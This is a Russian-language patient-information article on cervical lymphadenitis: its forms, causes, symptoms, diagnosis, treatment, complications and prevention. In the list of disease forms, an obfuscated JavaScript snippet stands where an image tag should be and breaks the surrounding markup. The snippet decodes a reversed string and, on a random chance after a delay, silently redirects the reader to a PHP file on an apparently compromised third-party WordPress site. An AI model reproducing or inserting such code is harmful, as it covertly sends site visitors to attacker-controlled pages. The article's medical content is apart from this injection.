За две тысячи лет медицинская наука открыла множество болезней и их причин. Немалая часть из них вызывается микроорганизмами. Бактерии и вирусы стремятся поселиться внутри организма и создать множество болезненных симптомов. Иммунитет отвечает воспалением и лихорадкой. В единичных случаях болезнь и иммунитет сливаются в месте и времени. Шейный лимфаденит — редкая ситуация заболевания и защиты в одном лице.
Содержание
Лимфаденит и иммунная защита организма
Иммунитет вездесущ. Тотальный контроль требует постоянного присутствия защитников во всех уголках организма. Белые клетки крови — самые мобильные бойцы иммунитета. Они наблюдают за положением дел непосредственно в органах и тканях. При необходимости подкрепление оперативно доставляется по кровеносным сосудам прямо в очаг воспаления.
Первый уровень защиты не всегда способен сдержать натиск инфекции. На этот случай природа предусмотрела второй — лимфатические узлы. Сюда попадают и здесь обезвреживаются не только отходы жизнедеятельности клеток, но также болезнетворные бактерии и вирусы. В лимфоузлах сосредоточены обученные иммунные клетки. Природа создала такие защитные образования во всех областях организма. Особенно много лимфоузлов сосредоточено в области шеи. Причина — необходимость создать надёжную защиту от инфекции, попадающей ежедневно с пищей и вдыхаемым воздухом.
Шейный лимфаденит — термин, подразумевающий наличие воспаления в лимфоузлах, расположенных в области затылка, за ушами, под нижней челюстью и по ходу крупных сосудов и нервов. Болезнь настолько неприхотлива, что встречается одинаково часто у людей обоих полов и всех возрастов. Причины разнообразны. Но во всех случаях заболевание является отражением напряжённой борьбы иммунитета и инфекции.
Доктор Комаровский об иммунитете — видео
Формы и разновидности заболевания
Лимфаденит разнообразен по своим причинам и проявлениям. По этим признакам выделяют несколько форм заболевания:
- По типу течения различают две формы лимфаденита:
- острое заболевание с яркими признаками воспаления;
- хронический недуг с чередованием периода ярких симптомов и стихания остроты воспаления.
- По характеру причины, вызвавшей воспаление, различают:
- неспецифический лимфаденит. Причина — бактерии, обитающие в организме человека и животных;
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/10/post_5bb783a89c0da-728×465.jpg» alt=»Воспалённый шейный лимфоузел» width=»728″ height=»465″ /> Лимфаденит вызывают бактерии и вирусы
- специфический лимфаденит. Обусловлен специфическими возбудителями заболеваний (тубёркулёза, мононуклеоза и т. д.). Болезнь требует применения специальных методов и схем лечения.
- неспецифический лимфаденит. Причина — бактерии, обитающие в организме человека и животных;
- Воспаление в лимфоузлах имеет три разновидности:
- катаральное. Признаки воспаления выражены слабо;
- гиперпластическое. В поражённых участках образуется воспалительная жидкость;
- гнойное. Иммунные клетки гибнут в борьбе с инфекцией, лимфоузел разрушается, образуется гнойный очаг.
Причины и механизмы развития
Лимфаденит — редкий случай, когда орган страдает от болезни и одновременно останавливает её. Лимфоузлы шеи защищают несколько важных органов от инфекций. Их воспаление — одна из основных причин развития лимфаденита. Инфекция первоначально появляется в миндалинах, придаточных полостях носа, внутреннем и среднем ухе, кожном покрове и подкожно-жировой клетчатке. В лимфоузлы микробы распространяются по лимфатическим сосудам. Любой гнойный процесс в этой области вызовет шейный лимфаденит. Наиболее частыми возбудителями в этом случае являются стрептококк Streptococcus pyogenus и золотистый стафилококк Staphylococcus aureus.
Второй типичный сценарий — проникновение инфекции непосредственно из крови. В этом случае микробы стремятся попасть именно в лимфатические узлы, где они размножатся и продолжат свою разрушительную деятельность. Возбудителями лимфаденита могут стать как вирусы, так и бактерии:
- возбудитель брюшного тифа Salmonella typhi;
- вирус Эпштейна-Барр — возбудитель мононуклеоза;
- бактерии лептоспира и бруцелла;
- вирус иммунодефицита человека;
- возбудитель туляремии;
- бледная трепонема (возбудитель сифилиса);
- палочка Коха.
В последних двух случаях воспаление носит специфический характер. В толще лимфоузлов иммунные клетки окружают микроб-возбудитель. Эта группа носит название гранулёмы. В остальных случаях воспаление сопровождается появлением жидкости, в которой и происходит борьба возбудителя и белых клеток крови. Вначале жидкость прозрачна и называется серозной. Со временем погибшие лейкоциты превращают её в мутную субстанцию с желтоватым оттенком — гной. Локальный участок скопления гноя — абсцесс — без своевременного вмешательства прорывается, и воспаление распространяется дальше в жировую клетчатку.
Лимфаденит — видео
Симптомы и признаки
Шейный лимфаденит у взрослых и детей проявляется типичными симптомами воспаления:
- лихорадкой. Степень повышения температуры зависит от интенсивности воспаления и вида возбудителя. Наиболее высокие цифры 39–40°С характерны для гнойного лимфаденита;
- общим недомоганием и слабостью;
- мышечными и суставными болями;
- учащением пульса;
- увеличением поражённого лимфоузла в размерах. В обычных условиях месторасположение лимфатических желёз не определяется невооружённым взглядом. Лимфаденит сопровождается появлением заметного округлого образования на шее;
- покраснением кожи над поражённым лимфатическим узлом. Причина — застой крови в месте воспаления;
- болезненностью поражённого лимфоузла. Степень выраженности боевых ощущений колеблется от незначительных при серозном типе воспаления до резких при наличии гноя;
- появлением на коже линейных покраснений, ведущих к поражённому лимфоузлу (лимфангит). Красная линия представляет собой воспалённый лимфатический сосуд, по которому инфекция распространилась из первичного очага;
- появлением очага размягчения. На начальных стадиях воспаления лимфоузел обычно отличается повышенной плотностью. Гной же делает орган более мягким. Подобная метаморфоза очага воспаления — признак перехода болезни в заключительную стадию развития.
Лимфаденит у детей — видео
Методы установления диагноза
Для установления верного диагноза необходима помощь специалиста. Врач должен установить первичный очаг заболевания, характер воспаления лимфатических узлов и природу микроорганизма-возбудителя. С этой целью назначаются лабораторные тесты и инструментальные методы исследования:
- лимфатические узлы шеи доступны внешнему осмотру. Врач легко определит, какие именно железы увеличены и приблизительный первичный очаг инфекции. По выраженности симптомов специалист предположит форму болезни — катаральную или гнойную;
- стандартный анализ крови обязательно проводится при подозрении на шейный лимфаденит. Кровь ярко демонстрирует признаки воспаления в организме: увеличивается число белых клеток (лейкоцитов), ускоряется СОЭ (скорость оседания красных клеток крови — эритроцитов — на дно пробирки);
- бактериологическое исследование гноя — один из способов определить конкретный вид бактерии, вызвавшей воспаление. Для этого он помещается на питательную среду и выдерживается при температуре тела. Специалист также проводит тест на чувствительность возбудителя к различным антибиотикам;
- ультразвук — безопасный и современный метод диагностики. С его помощью можно легко заглянуть внутрь повреждённого органа, определить его размеры, выявить участки скопления гноя;
- томография — более точный метод диагностики. Несколько снимков, полученных при помощи КТ или МРТ, позволяют оценить анатомию лимфоузла и состояние соседних органов и тканей;
- биопсия — исследование окрашенного участка лимфоузла под микроскопом. Метод используется для диагностики лимфаденита специфической природы — туберкулёзной, сифилитической;
- иммунная диагностика (ИФА, ПЦР) — современные методы обнаружения в крови белков-антител против определённого вида возбудителя. Таким способом можно обнаружить все виды микроорганизмов — бактерии, в том числе сифилиса и туберкулёза, а также вирусы (например, иммунодефицита).
Полимеразная цепная реакция — видео
Методы лечения
Лечением лимфаденита в зависимости от его природы занимается хирург, венеролог, фтизиатр, инфекционист. Используется, как правило, несколько терапевтических методов — назначение медикаментов, физиотерапия, в ряде случаев хирургическое вмешательство.
Медикаментозное лечение
Назначение медикаментов — основной метод лечения лимфаденита. Он применяется как на ранних стадиях воспаления, так и при переходе болезни в гнойную форму. В обязательном порядке используются антимикробные средства. Выбор конкретного антибиотика зависит от предполагаемого характера возбудителя — стрептококка, стафилококка, палочки Коха или бледной трепонемы. Для снятия общих симптомов болезни назначаются нестероидные противовоспалительные средства (НПВС). При гнойной форме применяется местное лечение — антибиотики и антисептики.
Фармакологические средства для лечения шейного лимфаденита — таблица
| Антибиотики для системного применения |
Местные антисептики | Противовоспалительные средства (НПВС) |
|
|
|
Препараты для лечения лимфаденита — фотогалерея
-
- На шее расположено несколько групп лимфоузлов
-
- Шейный лимфаденит часто следует за воспалением миндалин
-
- При туберкулёзе воспаление протекает с образованием гранулём
-
- Бледная трепонема — возбудитель сифилиса
-
- Вирус Эпштейна-Барр — возбудитель мононуклеоза
-
- Лимфаденит вызывают бактерии и вирусы
-
- Лимфоузел — основной орган иммунной системы
-
- Иммунная система человека состоит из нескольких органов
-
- Гнойник подлежит вскрытию и очищению
-
- Дексалгин — препарат от жара и боли
-
- Нурофен — противовоспалительный и жаропонижающий препарат
-
- Левомеколь — мазь для наружного применения
-
- Мирамистин — универсальный антисептик
-
- Доксициклин эффективно действует на бледную трепонему
-
- Рифампицин — противотуберкулёзный препарат
-
- Цефтриаксон — антибиотик широкого спектра действия
-
- Аугментин — антибиотик из группы пенициллина
-
- Биопсия часто ставит точку в диагнозе
-
- Ультразвук — основной метод диагностики лимфаденита
-
- При лимфадените увеличивается число лейкоцитов в крови
-
- Лимфаденит проявляется болезненностью, покраснением и увеличением лимфоузла
Физиотерапия
Физиолечение — эффективный метод лечения лимфаденита. Физические факторы используются на начальных стадиях воспаления, до формирования гнойного очага:
- УВЧ-терапия эффективно снимает воспаление;
- обучение ультрафиолетовым светом обладает дезинфицирующим свойством;
- лазеротерапия ускоряет процессы заживления и предупреждает образование рубцов и спаек.
Хирургическое лечение
Помощь хирурга потребуется в случае гнойного лимфаденита. Вмешательство должно обеспечить удаление из очага погибших тканей и гноя. С этой целью проводится вскрытие и дренирование абсцесса лимфатического узла в условиях местного обезболивания. После вмешательства для промывания и обработки очага используются растворы антисептиков и антибактериальные мази.
Лимфаденит — серьёзное заболевание, требующее вмешательства врача и правильного лечения. Народные методы в этой ситуации не применяются.
Прогноз и осложнения
Исход лимфаденита, как правило, благоприятный. Острый гнойный процесс при адекватном лечении приводит к выздоровлению. Воспаление туберкулёзной и сифилитической природы часто приобретает хроническое течение. Несвоевременное обращение к врачу может привести к развитию осложнений:
- разлитому гнойному воспалению подкожно-жировой клетчатки — флегмоне;
- системному инфекционному заболеванию — сепсису;
- гнойному воспалению жировой клетчатки сердца и лёгких — медиастиниту;
- воспалению вен — тромбофлебиту;
- образованию кровяных сгустков тромбов внутри сосудов.
Флегмона — видео
Профилактика
Для профилактики развития гнойного лимфаденита необходимо соблюдать следующие рекомендации:
- своевременно лечить заболевания миндалин, глотки, среднего и внутреннего уха, придаточных пазух носа, зубов и дёсен;
- своевременно делать прививки против инфекционных заболеваний (например, БЦЖ);
- проходить ежегодное флюорографическое обследование (для детей предусмотрена реакция Манту);
- обрабатывать антисептиком мелкие ранения и порезы кожи лица и шеи (в том числе после бритья).
Шейный лимфаденит — болезнь, которая напрямую говорит о борьбе инфекции и иммунной системы. Применение антибиотиков позволяет победить это серьёзное заболевание. Своевременное обращение к врачу с острыми и хроническими болезнями зубов, глотки, носа поможет избежать подобной ситуации.
